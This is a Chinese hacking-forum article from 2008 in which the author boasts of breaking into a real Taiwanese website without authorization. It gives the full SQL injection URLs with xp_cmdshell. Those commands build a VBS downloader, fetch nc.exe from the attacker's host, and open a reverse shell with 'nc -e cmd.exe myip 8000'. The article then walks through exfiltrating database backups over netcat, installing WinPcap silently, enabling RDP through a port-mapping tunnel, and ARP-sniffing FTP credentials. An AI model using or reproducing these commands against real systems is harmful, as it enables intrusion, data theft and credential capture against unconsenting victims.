奥运倒计时: 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 渗透技术 >> 正文

[图文]一次渗透过程中的简单任务

作者:Ink    文章来源:网络采集    点击数:    更新时间:2008-5-9
很久没有入侵了,手有点痒,随便逛了几个TW的网站想找一个有点的价值的网站玩玩,于是找到了这个网站
习惯性的,在“报名账号”处填入了一个单引号,返回了如下信息:
SQL Server 的 Microsoft OLE DB 提供者 (0x80040E14)
遗漏字符字符串 ''' 前面的引号。
/rdshow/modify.asp, line 5
看来是存在注入漏洞的,来看看权限如何。继续在登陆口输入’ and user>0 and ‘’=’,问题出现了:无法完整输入。看来网页对输入长度做了限制,这个难不到我。保存网页,将网页的源代码更改两个地方,一处是Action=modify.asp改为Action=http://www.xxx.org.tw/rdshow/modify.asp,还有一处就是把输入字符的长度改大,也就是maxlength=10改为100,这下可以不受限制的随便输入了。将刚才的代码完整输入后得到以下信息:
SQL Server 的 Microsoft OLE DB 提供者 (0x80040E07)
将 nvarchar 数值 'dbo' 转换成数据型别为 int 的数据行语法错误。
/rdshow/modify.asp, line 5
看来有戏,但是这样注入太麻烦了。再看看网页的源代码,如果将这个注入漏洞转化成URL的形式,这样注入就方便多了。同时转化后还有一个很好的优点,就是可以使用NBSI之类的注入工具,大大简化了我们的注入过程。转化后的URL为http://www.xxx.org.tw/rdshow/ modify.asp?bidno=fuck。现在WEB和SQL的主机分开的情况很多,首先我们还是先看看数据库的IP地址吧。打开天网,然后在IE提交:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck’;exec master.dbo.xp_shell’ ping myip’;--
从天网的报警日志看出数据库的IP地址为210.208.xxx.253,再Ping www.xxx.org.tw,得到的IP地址却为210.208.xxx.32,看来数据库和WEB服务器不是同一台主机,但是从IP分布来看,这两台主机处于同一个网段,理论上只要我们能攻占下数据库主机,要渗透到WEB服务器也不是难事(后来证明确实如此)。到了这一步,还是先用Superscan扫描一下数据库主机开了些什么端口吧。

小提示:先对数据库服务器扫描的好处有很多,比如可以探测对方是否开了防火墙,是否有FTP或者WEB服务,这样才能确定下一步该怎么注入。

扫描的结果是数据库有防火墙,我的想法是先上传一个NC上去,先得到一个反向的Shell再说。我尝试了很多方法才传上去,先用Tftp没有成功,FTP也没有成功。如果数据库有WEB服务的话还可以写入一个WebShell,可惜没有。没有办法,只好写Iget.vbs(脚本小子:广告时间!黑防上个月开放的下载系统中有下载,地址是www.hacker.com.cn/downweb/index.asp,里面还有一些小东西也挺不错,欢迎大家下载使用,并推荐你觉得功能上有特点的程序),然后让对方下载我WEB服务器上的NC。好,决定后就这样做,继续在IE提交:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo iLocal = LCase(WScript.Arguments(1)) > c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo iRemote = LCase(WScript.Arguments(0)) >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo Set xPost = CreateObject("Microsoft.XMLHTTP") >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo xPost.Open "GET",iRemote,0 >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo xPost.Send() >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo Set sGet = CreateObject("ADODB.Stream") >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Mode = 3 >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Type = 1 >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.Open() >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.WrITe(xPost.responseBody) >> c:\winnt\system\p.vbs';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell'echo sGet.SaveToFile iLocal,2 >>c:\winnt\system\p.vbs';--

现在把NBSI2请出来,用其自带的NB command命令执行器查看VBS是否写入成功(用NB TreeList目录列表工具也可以,不过要等半天才能等到结果,我的性子急,所以选择了前者)。
可以看出VBS生成成功了,现在我们可以用这个VBS去下载后门木马之类的东西了。话不多说先把Tlist,NC,Kill传上去再说,继续在IE提交如下URL:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs http://myip/nc.exe nc.exe';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs http://myip/kill.exe kill.exe';--
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\p.vbs http://myip/tlist.exe tlist.exe';--

现在我们可以利用上传的NC得到一个反向的Shell了,先在本机用NC监听8000端口:
Nc.exe –l –v –p 8000
然后在IE输入:
http://www.xxx.org.tw/rdshow/modify.asp?bidno=fuck';exec master.dbo.xp_cmdshell 'c:\winnt\system\nc.exe –e cmd.exe myip 8000 ';--
这样我们就获得了一个CmdShell了。
为什么我要上传Tlist呢?因为我想知道对方用的是什么杀毒软件,这样我们才能做到有的放矢,不至于我们上传的东东全部被查杀。上传Tlist还有一个原因就是刚刚开始我在绕过对方的防火墙时调用了FTP,为了不让对方怀疑,我必须把它Kill掉,所以也得上传Tlist来看看PID号。Tlist的结果是对方用的诺顿。
小提示:获取对方系统杀毒软件对后面的入侵是很有帮助的,因为不同的杀毒软件对不同的黑软定义的特征码是不一样的,也就是说某些黑软不被金山查杀,不代表可以瞒过诺顿,反之一样。

晕了,我菜,只会找瑞星的特征码,诺顿的找不出来,想传几个反弹木马上去的想法放弃了。上去溜了一圈发现D盘下面有不少数据库的备份,我喜欢,先Down下来再说。但新的问题又来了,Tftp和TTP不能用,对方又有硬件防火墙,而Iget.vbs又只能下载,没有办法上传东西,反弹木马可以实现上传但对方又有杀毒软件……现在我的思路开始陷入困境,正在我一筹莫展的时候我想到了饭哥,他应该有点好东东可以解决我的这个问题吧?把大概情况给他说了之后,他仰天大笑三声之后给了我一个他自己写的小工具:HttpPut,这个工具可以将对方的文件传到自己的电脑上来,简单方便。使用方法为:
Useag:E:\HttpPut.exe [URL] [PutFilePath]
Sample:E:\HttpPut.exe http://hostname/images/ c:\p.txt
先传了几个Word文件,一切正常,但是当我传到后面较大的数据库文件时却发现不太稳定,Shell很容易挂掉,尝试了很多次都这样(汗,这时进程里面多了X个Cmd.exe,幸好我上传了Tlist和Kill,把那些挂了的CMD一个一个地Kill掉)。
又一次陷入了困境,我本来想再去各大黑客网站找最新的反弹木马,但是老天偏偏和我作对,找了半天都找不到一个满意的。就在我快绝望的时候我的眼前突然一亮:NC不就可以突破防火墙传文件吗?不然怎么叫瑞士军刀?看来我是骑驴找驴了。在NC的高级应用里面就有传文件的方法,具体命令如下:
nc -vv -l -p port > pathfile  
nc -d myip port < pathfile  
第一条命令是在本机输入,这里要注意的是新开的端口不能被占用,第2条命令在肉鸡执行,大家可以看看我执行的结果。
文件正常传输了,而且相当稳定,看来NC确实不错。数据库顺利下载完毕,但我们的任务还没有完成,虽然是“简单任务”但也不能太简单了啊!我们还要入侵WEB服务器。
以前见过不少的文章,写到这种情况大概就是说上传一个ArpSniffer进行嗅探就草草结束,其实问题没有那么简单,要使用Arpsniffer,必须安装WinPcap,问题是WinPcap是图形界面下的程序,要命令行安装确实要费点周折,很多菜鸟也头疼在这里。我还是简单为大家介绍一下怎么在命令行下安装Winpcap吧,具体的方法如下:
以WinPcap 3.0a为例,通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。除去卸载的部分,关键的文件有三个:Wpcap.dll,Packet.dll和Npf.sys。前面两个文件位于System32目录下,第三个在System32\drivers下,而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务
作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,而且也要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下增加主键,而后者默认只有SYSTEM身份才可以修改。幸运的是并不需要手动添加它,Winpcap被调用时会自动搞定,甚至完全不用手动修改注册表,所有的事Winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。
作为范例,还是演示一下如何修改注册表,其实利用Inf文件就可以实现,将下面这些内容保存为_wpcap_.inf文件:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
再写一个批处理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0

然后用Winrar将所有文件(5个)打包为自解压的exe,并将“高级自解压选项”->“解压后运行”设置为_wpcap_.bat,命令行的Winpcap安装包就制作完成了。
以上方法只是给大家参考,此时我已经有了另外的更加简单方便的思路,就是给数据库的主机开终端服务,这样无论是传东西还是继续向内网的渗透都会方便很多。大家也许会问即使你有权限添加账号能开终端服务,但是对方有防火墙你怎么连接啊。呵呵,这个问题其实很好解决,相信大家都知道VIDC类软件吧,这类软件的作用就是将内网的端口映射到公网的IP端口上来,这样我们只需要连接公网的IP就可以连接到内网去了。在这里我用的是yyc写的VIDC软件的修改版,

知识:yyc写的VIDC软件的修改版分客户端和服务器端,服务器端Idc.exe在具有公网IP的肉鸡上运行,使用默认8080端口通信。

直接在肉鸡运行就OK了,客户端vIDCc.exe、vIDCc.DLL,xl.ini文件,按INI文件里的配置自动连接绑定端口,INI的内容如下:
Serverip=公网IP
Serverport=8080
Cip=127.0.0.1
Bport=21|80|3389
Yport=7779|7776|7778

先还是用Iget.vbs将这些东西传上去,然后在CmdShell里面添加一个账号,然后写一个BAT开启3389,等电脑重启之后再上去运行vIDCc.exe。OK大功告成,我们只要登陆肉鸡的7778端口就可以访问内网数据了。
呵呵,现在我们可以在图形界面下安装Winpcap了,我们已经完全控制了数据库,但是任务还没有完,我们先看看能不能嗅探到WEB服务器的信息。先执行下面的命令:
tracert 210.208.xxx.32(WEB服务器的地址)
看看返回结果看来有戏,三下五除二装好Winpcap,然后开始ArpSniffer,嗅探的命令为:
Usage: ArpSniffer [/RESET]
在这里我监听的是21端口,命令如下:
Arpsniffer 210.208.xxx.1 210.208.xxx.32 21 c:\winnt\system\pass.txt 1
接下来就是等待了,不过臭要饭的急着催文章,所以文章截至时还没有结果,如果大家有兴趣的话,下期我再告诉大家。这次简单任务也该结束了,下期见!
文章录入:Ink    责任编辑:Ink 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    推荐文章渗透荆门市的门户网站(图)
    推荐文章渗透(香港)劲舞团官方论坛
    推荐文章内网渗透如何打开突破口
    推荐文章一次简单的html injection导致的Gmail 0day
    推荐文章对kappa官方网站的渗透经过(图)
    推荐文章记一次渗透虚拟主机服务器
    推荐文章渗透工具Hijack使用说明
    推荐文章一次渗透过程中的简单任务
     热门文章
    推荐文章渗透荆门市的门户网站(图)
    推荐文章渗透(香港)劲舞团官方论坛
    推荐文章内网渗透如何打开突破口
    推荐文章记一次渗透虚拟主机服务器
    普通文章内网渗透如何打开突破口
    普通文章对一个怪网站的渗透记
    普通文章一次WEB服务器渗透测试笔记
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
      许可证号:豫ICP备07005385号